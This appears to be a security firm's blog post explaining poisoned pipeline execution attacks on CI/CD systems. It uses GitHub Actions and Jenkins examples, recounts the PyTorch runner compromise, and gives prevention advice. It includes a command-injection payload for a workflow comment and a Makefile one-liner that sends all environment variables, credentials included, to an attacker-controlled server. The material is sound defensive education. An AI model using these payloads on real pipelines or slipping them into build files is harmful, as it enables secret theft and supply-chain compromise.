Poisoned Pipeline Execution Attacks: A Look at CI-CD Environments

Bishop Fox Blog Poisoned Pipeline Attacks CICD Environments Title with purple and black background.

Background: This research was not intended to reveal any new discoveries or methods, but follow similar paths and validate the findings of numerous other works in this area such as that of the OWASP Foundation and Xygeni. The author experienced this process and derived his own results and examples by completing the https://github.com/cider-security-research/cicd-goat playground on specific attack vectors that are being actively exploited in the wild. A full list of resources can be found at the end of the blog post.

Continuous Integration and Continuous Deployment (CI/CD) pipelines have revolutionized how software is developed and deployed, enabling organizations to deliver updates and new features with unprecedented speed and efficiency. However, this acceleration has not gone unnoticed in the security industry and, recognizing the value and importance of CI/CD pipelines in software development, attackers are constantly searching for new methods to infiltrate these systems and achieve code execution, obtaining clear paths to production.

Over the past few months, the industry has witnessed a significant rise in application security attacks focused on exploitation of misconfigurations in CI/CD environments. At this point, you may be familiar with the compromise of the SolarWinds build system, which was used to spread malware throughout the digital landscape of thousands of customers, or the (in)famous dependency confusion attacks, which affected hundreds of companies by infecting their build environments.

Two things are clear. (1) Companies are increasing their cloud security posture by adopting hardened security controls, and (2) techniques used in the past to achieve access to the CI part of a system are becoming more challenging to execute. This has forced attackers to figure out other ways to manage remote code in the CI without having prior access to it.

In this blog, we tackle this topic and examine the three types of poisoned pipeline execution (PPE) attacks, explore methods to exploit these vulnerabilities, and discuss preventive measures for such misconfigurations. We will also dive into real-world scenarios where attackers used PPE attacks to achieve remote code execution (RCE) on CI/CD environments and explain how those attacks could have been prevented.

Understanding Poisoned Pipeline Execution (PPE)

A PPE attack occurs when a threat actor can modify the pipeline logic of a source code management (SCM) repository by injecting malicious code into the build process, thus 'poisoning' the pipeline and forcing it to execute malicious code as part of its building process.

Despite the diversity of PPE attacks (direct PPE, indirect PPE, and public PPE), a close examination of recent incidents reveals a consistent pattern in most cases:

An attacker actively acquires access to a SCM repository by compromising credentials, exploiting vulnerabilities, or manipulating access tokens and SSH keys.

Initial access can be achieved through multiple methods. For instance, here are some pathways we have explored or observed during our security exercises:

A rogue employee with low-level access can bypass branch protections and compromise the pipeline.
An attacker can phish an employee with access to the pipeline and subsequently poison it.
An attacker or a low-level employee can discover GitHub credentials that allow them to compromise the pipeline. These credentials can be found in environment variables, embedded within code repositories, in cloud configurations such as Lambda environment variables, or on EC2 instances.

2. Once the attacker has obtained valid credentials, this will allow the hackers to make unauthorized changes to the repository, initiating CI pipeline execution without requiring further approvals or reviews.

3. Finally, with these new permissions, the attacker directly alters files that dictate the pipeline's command execution, thereby gaining access to restricted resources such as additional nodes, repositories, internal resources, and sensitive credentials.

When a pipeline falls under an attacker's control, they can execute various attacks within its scope. The most obvious attack would be to make unauthorized changes to the code; for example, backdooring the code in the exploited repository to attack anyone who uses the code associated with the compromised repository.

As bad as that is, the impact can often be much worse than that. With access to the pipeline, the attacker often gains access to all secrets used within the pipeline. In many cases, this includes cloud and artifact credentials, meaning the attacker can potentially gain full control over the organization’s entire infrastructure, or poison all of the organization's software, not just one particular package.

In recent years, there have been several high-profile cyberattacks that have exploited this technique to compromise the security and integrity of various organizations. One such example is the attack that targeted Docker Hub in May 2018. During this attack, the hackers managed to breach Docker Hub's software development pipeline and inject malicious code into a publicly accessible component. As a result, they gained unauthorized access to millions of users' sensitive data and credentials.

Another well-known case is the SolarWinds attack, which affected numerous organizations, including government agencies and Fortune 500 companies. The attackers exploited a supply chain compromise in the Orion software by injecting malicious code into it. They then distributed this code disguised as a legitimate update to customers, which gave them unauthorized access to the systems of the affected organizations, allowing them to steal sensitive information.

Direct PPE Example - Exploiting Unsafe GitHub Actions to Retrieve Account Credentials

A typical Direct PPE scenario occurs when the CI configuration file coexists with the code being built, granting the code author control over the build definition. In such cases, an attacker often alters the CI configuration file by creating a pull request (PR) from a branch or fork, or by directly pushing changes to a remote branch of the targeted repository.

This action triggers the pipeline through PR or push events. Having embedded malicious code into the CI configuration file, the attacker effectively redefines pipeline execution, gaining command execution capabilities within the build node.

We often encounter this recurring issue with GitHub Actions. While these Actions are meant to streamline the automation of a build, test, and deployment pipeline, they can pose additional security risks when not configured correctly.

In GitHub Actions, workflows are typically configured to trigger automatically in response to specific repository events, such as pull requests or issue comments. While this automation is efficient, it is also susceptible to exploitation.

A key area of vulnerability lies in the handling of untrusted input with variables like: github.event.comment.body, github.event.issue.body, github.event.issue.title, and github.pull_request.* —.

These are frequently employed within expression blocks in these workflows. If not managed cautiously, these inputs can be manipulated, potentially leading to command injection vulnerabilities.

Consider, for example, the following workflow, which is vulnerable to RCE due to the direct use of unsafe user input within shell commands:

name: Comment on PR
on:
    issue_comment
jobs:
    pr_commented:
        name: test pull_request
        if: ${{ github.event.pull_request }}
        runs-on: ubuntu-latest
        steps:
            - run: |
                    echo ${{ github.event.comment.body }}
...omitted for brevity...

This particular workflow will get executed every time new comments are made on issues or when a PR occurs and it will fetch the information through the github.event.comment.body.

Upon execution, the pr_commented job runs and executes each defined step. In this case, the vulnerability is contained in the line echo ${{ github.event.comment.body }}, which can be exploited to inject a payload, such as ”) && curl https://IP_ADDRESS/. This flaw allows arbitrary command execution to be controlled by an attacker. By exploiting this vulnerability, an attacker could attempt to steal repository secrets or even gain access to the repository's write access token.

Something to consider is that these tokens expire after the workflow completes, and once that happens, the token is no longer useful to an attacker. One way an attacker can circumvent this restriction is to automate the attack by sending the token to an attacker-controlled server, then use the GitHub API to modify the repository content.

In this case, the best practice to avoid command injection vulnerabilities in the GitHub workflow is to set the untrusted input value of the expression to an intermediate environment variable:

name: Comment on PR
on:
    issue_comment
jobs:
    pr_commented:
        name: test pull_request
        if: ${{ github.event.pull_request }}
        runs-on: ubuntu-latest
        steps:
            - run: |
                    echo $COMMENT
                env:
                    COMMENT: ${{ github.event.comment.body }}
...omitted for brevity...

This will store the value of the ${{ github.event.comment.body }} expression in memory rather than affecting the script generation.

Additionally, using the principle of least privilege may also greatly reduce the impact of an injection vulnerability. Each GitHub workflow receives a temporary repository access token, also known as GITHUB_TOKEN. These tokens previously had a very wide set of permissions, including full read and write access to the repository. GitHub has since introduced a more refined permission model for workflow tokens with the default permissions for new repositories and organizations set to read-only. However, a significant number of workflows still use a write-all token due to inherited default workflow permission settings in older repositories.

Indirect PPE Example - Exploiting Jenkinsfile for Secret Exfiltration

One precondition for direct Pipeline Execution Poisoning (PPE) is that the CI configuration file coexists with the code it builds, potentially granting attackers full access to the repository via the build definition. However, there are scenarios where this isn't the case, such as when:

The pipeline fetching the CI configuration file is from a separate, protected branch within the same repository.
The CI configuration is being stored in a distinct repository, separate from the source code.

While these scenarios might seem less vulnerable, attackers can still poison the pipeline. They do this by injecting malicious code into files that are indirectly invoked by the pipeline configuration file, such as Makefile files or any other script executed by the pipeline that is stored in the same repository as the source code itself.

In contrast to a direct PPE attack, where attackers poison the pipeline by directly injecting a command into its definition, an indirect PPE involves attackers targeting the files used by other tools to perform their job. The malicious code runs once the pipeline is triggered and the specific tools in question are invoked.

A common scenario where this vulnerability is exploited is in Jenkins software, although this attack vector, along with others, can be applied to any CI solution.

For Jenkins users, it is crucial to understand that control over the Jenkinsfile is a key security aspect. This control enables the execution of various system-provided functions, such as loading credentials stored as environment variables (ie. withAWS, withCredentials). This design significantly reduces the chances for an attacker to extract sensitive information, as these functions cannot be called directly. However, attackers with access to the CI configuration file may be able to insert malicious code and exfiltrate any environment variable.

The specific attack vector depends on how a stage is defined in a Jenkinsfile. For simplicity, our case study will focus on a stage vulnerable to attacks via a modified Makefile. The following Jenkinsfile serves as our example:

pipeline {
    agent any
    environment {
        PROJECT = "yagmail"
    }
    stages {
        stage ('Install_Requirements') {
            steps {
                sh """
                    virtualenv venv
                    pip3 install -r requirements.txt || true
                """
            }
        }
        stage('make'){
            steps {
              withCredentials([usernamePassword(credentialsId: 'userCreds', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD')]) {
                sh 'make || true'
              }
            }           
        }
    }
    post { 
        always { 
            cleanWs()
        }
    }
}

In the make stage of our Jenkins process, we encounter a call to the withCredentials function. This function enables the utilization of various credentials in unique ways, essentially defining an environment variable that is active within the scope of the step. Concurrently, we observe the execution of the make command.

This command is responsible for parsing and executing the instructions laid out in the Makefile, which resides in the same working directory as the Jenkinsfile.

Let's consider, for example, that our Makefile contains the following content:

vulnerable:
    curl -isSL "<https://bishopfox.com/v1/user>" -H "Authorization: Token ${PASSWORD}" -H "Content-Type: application/json"

In this scenario, the execution of the make command triggers the vulnerable rule, which performs a curl request. This request incorporates the environment variable PASSWORD within its Authorization header.

Specifically, the pipeline is configured to activate upon a PR against the repository. This triggers the fetching of code, including any tampered Makefile, from the repository.

The pipeline operates according to the Jenkinsfile configuration in the main branch. When it reaches the make stage, it employs the withCredentials method to load credentials into environment variables. Subsequently, the make command is executed, which then processes any malicious commands inserted into the Makefile.

In such a situation, an attacker would simply need to insert a straightforward one-liner into the Makefile:

vulnerable:
    curl -isSL "<https://bishopfox.com/v1/user>" -H "Authorization: Token ${PASSWORD}" -H "Content-Type: application/json"
    curl -d token="$(env)" <https://remote-server>

The command shown above sends all the environment variables to a remote server controlled by the attacker. This includes the PASSWORD token, which is loaded in memory.

Public PPE

So far, we've discussed direct and indirect attack vectors, which require access to the repository hosting the pipeline configuration file or other files invoked by pipeline commands. Typically, only organization members have the permissions needed to submit changes to the repository. This means an attacker would likely need to compromise a user's account or token before being able to interact with the repository.

However, there are instances where PPE attacks can become accessible to any anonymous user, provided the repository allows contributions from outsiders, either through PRs or code suggestions. There are exceptions where a contributor must first have some PRs approved by the repository maintainers, but after that, they can submit further changes without peer review.

In such scenarios, if the CI pipeline executes unsupervised code submitted by an untrusted user, it becomes highly susceptible to a public PPE attack and attackers may achieve further access to internal assets such as private repositories or credentials configured within the pipeline.

A great example of this type of vulnerability is the supply chain attack executed on the public PyTorch repository by John Stawinski and Adnan Khan. PyTorch is one of the world’s leading ML platforms, used by Google, Meta, Boeing, you name it. It’s the sort of target that hackers and nation-states are interested in.

In this case, PyTorch utilized self-hosted runners, which are essentially build agents hosted by end users who run the Actions runner agent on their own infrastructure. By default, when a self-hosted runner is attached to a repository, any of that repository's workflows can use the runner, including workflows from forked pull requests. This means that anyone can submit a malicious fork pull request to a public GitHub repository and execute code on the self-hosted runner.

If the self-hosted runner is configured using default settings, it becomes a non-ephemeral self-hosted runner. Consequently, the malicious workflow can initiate a background process that continues to run after the job completes, and modifications to files will persist beyond the current workflow.

Upon discovering these vulnerabilities, the researchers crafted a payload to achieve persistence on the self-hosted runner by installing another self-hosted GitHub runner and attaching it to their private GitHub organization. Because the malicious runner uses the same servers for command and control (C2) as the existing runner, and the only binary created is the official GitHub runner agent binary, it bypasses all EDR protections.

Once the researchers secured a stable remote code execution, they acquired the GITHUB_TOKEN of an ongoing workflow with write permissions. Using this token, they could have uploaded new assets, claiming to be pre-compiled, ready-to-use PyTorch binaries, including a release note with instructions for running and downloading the binary.

But that’s not all; they also managed to retrieve several sets of AWS keys and GitHub personal access tokens (PATs), gaining additional access to 93 repositories within the PyTorch organization, including many private repos, and administrative access to several, thus offering multiple avenues for supply chain compromise. Regarding the AWS keys, they provided privileges to upload PyTorch releases to AWS, providing another avenue to backdoor PyTorch releases.

Preventing Your Organization From Suffering PPE Attacks

Up to this point we have focused on the characteristics and variations of poisoned pipeline execution attack vectors, but let’s talk about how you can secure your environment against these types of attacks.

It’s also worth mentioning that depending on the SCM and CI systems in a user’s environment there will be multiple settings and protection mechanisms that can further strengthen the overall security posture. Below are our top recommendations for preventing PPE attacks against your organization:

Ensure pipelines only have access to the credentials they need to perform their task and regularly review those permissions. Additionally, you should log, monitor, and manage access to track all pipeline components and resources. This will provide visibility on all levels, including role-based, task-based, time-based, and pipeline-based access.
Set up access control lists and rules to control which users can access to your CI/CD pipeline. Revoke unnecessary permissions from users who don't need access. Consider creating a branch protection rule to enforce specific workflows for certain branches, especially those that have access to secrets.
Avoid using shared nodes for pipelines that require different levels of sensitivity and access to different resources. Shared nodes should only be used for pipelines that have the same level of confidentiality. Implement network segmentation, which will allow the execution node to access only the necessary resources within the network.
Lastly, ensure that pipelines running unreviewed code are executed on isolated nodes that are not exposed to secrets and sensitive environments. Refrain from running pipelines that originated from forks and consider adding manual approval controls for pipeline execution.

Attackers are constantly working to overcome to the latest application security protocols and it’s clear that PPE attacks still present a very real issue. We hope this blog has given you a deeper understanding of how attackers exploit vulnerabilities and how you can take preventive measures to protect your organization’s assets.

If you are haunted by these attack vectors and are interested in learning how to exploit a vulnerable GitHub Action in a very realistic environment, you can now learn with our Cloudfoxable's "Trust Me" challenge to deploy your very own attack.

Resources

Subscribe to Bishop Fox's Security Blog

Be first to learn about latest tools, advisories, and findings.

Named Leader of the GigaOm Radar for the third year in a row!

See Why We're the Leaders in Offensive Security

The State of Offensive Security

Join Forces with the Leaders in Offensive Security

Want to Work with the Best Minds in Offensive Security?